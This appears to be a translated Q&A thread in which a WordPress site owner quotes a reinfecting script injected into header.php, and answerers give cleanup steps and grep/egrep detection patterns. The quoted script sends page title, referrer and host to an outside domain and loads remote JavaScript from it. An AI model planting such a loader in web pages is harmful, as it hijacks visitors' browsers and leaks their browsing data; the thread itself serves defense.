我的网站上的jQuery.min.php恶意软件

Question

从熟悉jquery Malware的任何人那里寻求帮助。 我在WordPress网站中感染了注入脚本，并且每次24小时后从Header.php中删除注入代码时，它都会将其修改后的版本注入回到托管服务器上的Header.php文件中。

快把我逼疯。 该站点为www.icrsolutions.co.uk，脚本内容如下：

<script>
var a = '';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://uniluxvfc.com/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '') {
    document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>

Answer 1

以下内容也适用于Joomla：

1. 更改所有密码。
2. 将您的安装和所有附加组件/模块更新到最新版本。
3. 识别并清除所有包含恶意脚本的文件。 在Linux上，可以使用以下命令查找文件： grep -r jquery.min.php <webserver directory> | awk -F\\: '{ print $1 }' grep -r jquery.min.php <webserver directory> | awk -F\\: '{ print $1 }'
4. 清除所有包含“有效载荷”的文件。 在Linux上，可以使用以下命令识别这些文件。 会有误报 ，因此如果有疑问，请对照CMS的新副本检查文件。 egrep -Rl '\\$GLOBALS.*\\\\x|GLO.*SERVER|\\$_COOKIE|,"508"|function.*for.*strlen.*isset|isset.*eval' <webserver directory> 2>/dev/null

Answer 2

更改每个密码，然后删除脚本/恶意代码。

然后，在此之后，更新每个插件，然后使用wordpress本身。